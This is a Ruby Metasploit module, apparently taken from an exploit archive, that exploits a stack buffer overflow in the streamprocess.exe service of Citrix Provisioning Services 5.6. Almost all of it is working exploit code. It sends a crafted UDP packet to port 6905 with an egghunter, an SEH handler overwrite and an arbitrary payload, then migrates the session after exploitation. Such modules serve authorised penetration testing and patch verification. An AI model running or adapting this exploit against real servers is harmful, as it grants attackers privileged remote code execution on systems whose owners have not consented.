Citrix Provisioning Services 5.6 – ‘streamprocess.exe’ Remote Buffer Overflow (Metasploit)
## # $Id: citrix_streamprocess.rb 13042 2011-06-27 18:00:12Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Citrix Provisioning Services 5.6. By sending a specially crafted packet to the Provisioning Services server, a fixed length buffer on the stack can be overflowed and arbitrary code can be executed. }, 'Author' => 'mog', 'License' => MSF_LICENSE, 'Version' => '$Revision: 13042 $', 'References' => [ [ 'OSVDB', '70597'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-023/' ], [ 'URL', 'http://secunia.com/advisories/42954/' ], [ 'URL', 'http://support.citrix.com/article/CTX127149' ], ], 'DefaultOptions' => { # best at delaying/preventing target crashing post-exploit 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'BadChars' => "\x00", # Only "\x00\x00" breaks the overflow, but this is safer }, 'Platform' => 'win', 'Targets' => [ # pop/pop/ret in streamprocess.exe # Service runs and automatically shuts down in Win 7 [ 'Windows XP SP3 / Windows Server 2003 SP2 / Windows Vista', { 'Ret' => 0x00423d32 } ], ], 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 20 2011')) register_options([Opt::RPORT(6905)], self.class) end def exploit eggoptions = { :checksum => true, :eggtag => 'W00t', } hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions) sploit = "\x10\x00\x02\x40" # message type sploit << rand_text_alpha_upper(30) sploit << "\x00\x01\x00\x00" # length field sploit << rand_text_alpha_upper(400) sploit << hunter sploit << rand_text_alpha_upper(64 - hunter.length) sploit << "\xEB\xBE" # Jump back 66 bytes to hunter because there's sploit << rand_text_alpha_upper(2) # only 24 bytes of cyclic copy after ret sploit << [target.ret].pack('V') # SE handler sploit << rand_text_alpha_upper(50) # Need >= 24 bytes to keep the tag out of the stack sploit << egg # Payload has a whole page to itself print_status("Trying target #{target.name}...") connect_udp udp_sock.put(sploit) print_status("Exploit sent, wait for egghunter.") select(nil, nil, nil, 4) # takes about 8 seconds in tests handler(udp_sock) disconnect_udp end end |